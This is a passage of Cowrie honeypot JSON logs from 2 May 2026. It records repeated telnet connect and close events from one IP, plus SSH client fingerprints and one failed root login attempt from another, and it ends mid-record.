{"eventid":"cowrie.session.closed","duration":4.010149717330933,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:50.534411Z","src_ip":"174.138.46.234","session":"38a109a8a466","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":57492,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ab708440d3b","protocol":"telnet","message":"New connection: 207.180.228.157:57492 (159.203.135.109:23) [session: 7ab708440d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:50.812935Z"}
{"eventid":"cowrie.session.closed","duration":31.01746129989624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:50.905198Z","src_ip":"207.180.228.157","session":"63c5fc4647ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.006754875183105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:53.408719Z","src_ip":"207.180.228.157","session":"8733d0dedeee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":57502,"dst_ip":"159.203.135.109","dst_port":23,"session":"aabbed50567e","protocol":"telnet","message":"New connection: 207.180.228.157:57502 (159.203.135.109:23) [session: aabbed50567e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:53.925305Z"}
{"eventid":"cowrie.session.closed","duration":31.70672369003296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:54.201398Z","src_ip":"207.180.228.157","session":"8adc8b16a7be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.650678634643555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:55.301307Z","src_ip":"207.180.228.157","session":"e2ca66422a85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.349106311798096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:55.417212Z","src_ip":"207.180.228.157","session":"7dbd6332a829","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39162,"dst_ip":"159.203.135.109","dst_port":23,"session":"fffbbb59a60b","protocol":"telnet","message":"New connection: 207.180.228.157:39162 (159.203.135.109:23) [session: fffbbb59a60b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:55.546557Z"}
{"eventid":"cowrie.session.closed","duration":30.74315643310547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:57.404702Z","src_ip":"207.180.228.157","session":"2509e0bfefe8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.226381301879883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:58.120545Z","src_ip":"207.180.228.157","session":"ae90205dd2d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39176,"dst_ip":"159.203.135.109","dst_port":23,"session":"e696f9a1809a","protocol":"telnet","message":"New connection: 207.180.228.157:39176 (159.203.135.109:23) [session: e696f9a1809a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:58.225773Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39180,"dst_ip":"159.203.135.109","dst_port":23,"session":"036e1f50eb15","protocol":"telnet","message":"New connection: 207.180.228.157:39180 (159.203.135.109:23) [session: 036e1f50eb15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:58.419384Z"}
{"eventid":"cowrie.session.closed","duration":31.230875492095947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:58.638257Z","src_ip":"207.180.228.157","session":"f01e1053adc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39192,"dst_ip":"159.203.135.109","dst_port":23,"session":"63e6e1a309f8","protocol":"telnet","message":"New connection: 207.180.228.157:39192 (159.203.135.109:23) [session: 63e6e1a309f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:58.794532Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39202,"dst_ip":"159.203.135.109","dst_port":23,"session":"99b558e5c7c9","protocol":"telnet","message":"New connection: 207.180.228.157:39202 (159.203.135.109:23) [session: 99b558e5c7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:59.046817Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":58872,"dst_ip":"10.17.0.5","dst_port":22,"session":"f30c55c0a27f","protocol":"ssh","message":"New connection: 59.17.95.129:58872 (10.17.0.5:22) [session: f30c55c0a27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:00.129166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:00.136390Z","src_ip":"59.17.95.129","session":"f30c55c0a27f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:00.344558Z","src_ip":"59.17.95.129","session":"f30c55c0a27f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gs@123456","message":"login attempt [root/gs@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:01.173664Z","src_ip":"59.17.95.129","session":"f30c55c0a27f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:02.374889Z","src_ip":"59.17.95.129","session":"f30c55c0a27f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.998575925827026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:02.541277Z","src_ip":"207.180.228.157","session":"66cd384113aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.100643634796143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:02.608623Z","src_ip":"207.180.228.157","session":"05746ad32f4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.6288743019104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:04.661255Z","src_ip":"207.180.228.157","session":"d23a3a614ce4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58336,"dst_ip":"159.203.135.109","dst_port":23,"session":"161e059c055e","protocol":"telnet","message":"New connection: 207.180.228.157:58336 (159.203.135.109:23) [session: 161e059c055e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:05.868109Z"}
{"eventid":"cowrie.session.closed","duration":31.131575345993042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:06.061613Z","src_ip":"207.180.228.157","session":"b5f692420c69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58338,"dst_ip":"159.203.135.109","dst_port":23,"session":"77a7b5333ff6","protocol":"telnet","message":"New connection: 207.180.228.157:58338 (159.203.135.109:23) [session: 77a7b5333ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:06.534693Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58348,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3e12636cf27","protocol":"telnet","message":"New connection: 207.180.228.157:58348 (159.203.135.109:23) [session: c3e12636cf27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:07.484455Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58356,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d4da254e604","protocol":"telnet","message":"New connection: 207.180.228.157:58356 (159.203.135.109:23) [session: 4d4da254e604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:08.128860Z"}
{"eventid":"cowrie.session.closed","duration":30.515275955200195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:11.093551Z","src_ip":"207.180.228.157","session":"e28554bdade4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.606494426727295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:11.105204Z","src_ip":"207.180.228.157","session":"395faebdf229","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.993139266967773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:12.475866Z","src_ip":"207.180.228.157","session":"bc921201d668","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.268519639968872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:12.495049Z","src_ip":"207.180.228.157","session":"0d97ac7323f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10427212715149,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:13.224877Z","src_ip":"207.180.228.157","session":"3465f9db9012","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35666,"dst_ip":"159.203.135.109","dst_port":23,"session":"f86b87a312b1","protocol":"telnet","message":"New connection: 207.180.228.157:35666 (159.203.135.109:23) [session: f86b87a312b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:14.650124Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35676,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f9c5ae96a42","protocol":"telnet","message":"New connection: 207.180.228.157:35676 (159.203.135.109:23) [session: 6f9c5ae96a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:14.970067Z"}
{"eventid":"cowrie.session.closed","duration":31.305609226226807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:15.191798Z","src_ip":"207.180.228.157","session":"511e6026c4f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24298596382141,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:17.209772Z","src_ip":"207.180.228.157","session":"b2e17c3d21b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.645850658416748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:17.385494Z","src_ip":"207.180.228.157","session":"48279faea2cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.672271966934204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:21.485077Z","src_ip":"207.180.228.157","session":"7ab708440d3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35692,"dst_ip":"159.203.135.109","dst_port":23,"session":"12ee495fddab","protocol":"telnet","message":"New connection: 207.180.228.157:35692 (159.203.135.109:23) [session: 12ee495fddab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:23.253402Z"}
{"eventid":"cowrie.session.closed","duration":30.95294737815857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:24.878135Z","src_ip":"207.180.228.157","session":"aabbed50567e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35384,"dst_ip":"159.203.135.109","dst_port":23,"session":"08e11108d76c","protocol":"telnet","message":"New connection: 207.180.228.157:35384 (159.203.135.109:23) [session: 08e11108d76c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:25.634782Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35388,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2f316b4a433","protocol":"telnet","message":"New connection: 207.180.228.157:35388 (159.203.135.109:23) [session: d2f316b4a433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:25.778668Z"}
{"eventid":"cowrie.session.closed","duration":30.717040300369263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:26.263451Z","src_ip":"207.180.228.157","session":"fffbbb59a60b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35392,"dst_ip":"159.203.135.109","dst_port":23,"session":"3abcc9e48e4b","protocol":"telnet","message":"New connection: 207.180.228.157:35392 (159.203.135.109:23) [session: 3abcc9e48e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:26.988225Z"}
{"eventid":"cowrie.session.closed","duration":31.743094444274902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:29.968745Z","src_ip":"207.180.228.157","session":"e696f9a1809a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.600075721740723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:30.019271Z","src_ip":"207.180.228.157","session":"036e1f50eb15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.694899559020996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:30.489333Z","src_ip":"207.180.228.157","session":"63e6e1a309f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.964089393615723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:31.010811Z","src_ip":"207.180.228.157","session":"99b558e5c7c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35404,"dst_ip":"159.203.135.109","dst_port":23,"session":"24fc80b2e197","protocol":"telnet","message":"New connection: 207.180.228.157:35404 (159.203.135.109:23) [session: 24fc80b2e197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:31.074834Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45380,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cae9eab8f2a","protocol":"telnet","message":"New connection: 174.138.46.234:45380 (159.203.135.109:23) [session: 6cae9eab8f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:31.141554Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35418,"dst_ip":"159.203.135.109","dst_port":23,"session":"b03b0eb5326b","protocol":"telnet","message":"New connection: 207.180.228.157:35418 (159.203.135.109:23) [session: b03b0eb5326b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:33.845923Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":57298,"dst_ip":"159.203.135.109","dst_port":23,"session":"23da22a52188","protocol":"telnet","message":"New connection: 207.180.228.157:57298 (159.203.135.109:23) [session: 23da22a52188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:35.370637Z"}
{"eventid":"cowrie.session.closed","duration":30.66624689102173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:37.200835Z","src_ip":"207.180.228.157","session":"77a7b5333ff6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.336914539337158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:37.204867Z","src_ip":"207.180.228.157","session":"161e059c055e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89380431175232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:38.378135Z","src_ip":"207.180.228.157","session":"c3e12636cf27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.344806909561157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:39.473520Z","src_ip":"207.180.228.157","session":"4d4da254e604","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.754297733306885,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:40.895756Z","src_ip":"174.138.46.234","session":"6cae9eab8f2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":57312,"dst_ip":"159.203.135.109","dst_port":23,"session":"65a3886cdf2c","protocol":"telnet","message":"New connection: 207.180.228.157:57312 (159.203.135.109:23) [session: 65a3886cdf2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:41.758185Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":57314,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8fea664ba65","protocol":"telnet","message":"New connection: 207.180.228.157:57314 (159.203.135.109:23) [session: c8fea664ba65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:42.365400Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":57320,"dst_ip":"159.203.135.109","dst_port":23,"session":"669b34ade0da","protocol":"telnet","message":"New connection: 207.180.228.157:57320 (159.203.135.109:23) [session: 669b34ade0da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:43.009810Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":60340,"dst_ip":"159.203.135.109","dst_port":23,"session":"18e03181216f","protocol":"telnet","message":"New connection: 207.180.228.157:60340 (159.203.135.109:23) [session: 18e03181216f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:45.099356Z"}
{"eventid":"cowrie.session.closed","duration":31.155881643295288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:45.805900Z","src_ip":"207.180.228.157","session":"f86b87a312b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.409977436065674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:46.379919Z","src_ip":"207.180.228.157","session":"6f9c5ae96a42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":60350,"dst_ip":"159.203.135.109","dst_port":23,"session":"974f35a6a333","protocol":"telnet","message":"New connection: 207.180.228.157:60350 (159.203.135.109:23) [session: 974f35a6a333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:50.406081Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":60356,"dst_ip":"159.203.135.109","dst_port":23,"session":"d47a87597e45","protocol":"telnet","message":"New connection: 207.180.228.157:60356 (159.203.135.109:23) [session: d47a87597e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:52.050879Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":60364,"dst_ip":"159.203.135.109","dst_port":23,"session":"601f252fab0d","protocol":"telnet","message":"New connection: 207.180.228.157:60364 (159.203.135.109:23) [session: 601f252fab0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:52.387386Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":60378,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdd64ce08e6d","protocol":"telnet","message":"New connection: 207.180.228.157:60378 (159.203.135.109:23) [session: bdd64ce08e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:52.962684Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":60384,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c1e82e4b56a","protocol":"telnet","message":"New connection: 207.180.228.157:60384 (159.203.135.109:23) [session: 2c1e82e4b56a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:53.039715Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":60392,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc74613c7cce","protocol":"telnet","message":"New connection: 207.180.228.157:60392 (159.203.135.109:23) [session: fc74613c7cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:54.468874Z"}
{"eventid":"cowrie.session.closed","duration":31.485740423202515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:54.739010Z","src_ip":"207.180.228.157","session":"12ee495fddab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":36382,"dst_ip":"10.17.0.5","dst_port":22,"session":"87e586ea55ca","protocol":"ssh","message":"New connection: 59.17.95.129:36382 (10.17.0.5:22) [session: 87e586ea55ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:56.367358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:56.371963Z","src_ip":"59.17.95.129","session":"87e586ea55ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.741964101791382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:56.376621Z","src_ip":"207.180.228.157","session":"08e11108d76c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-s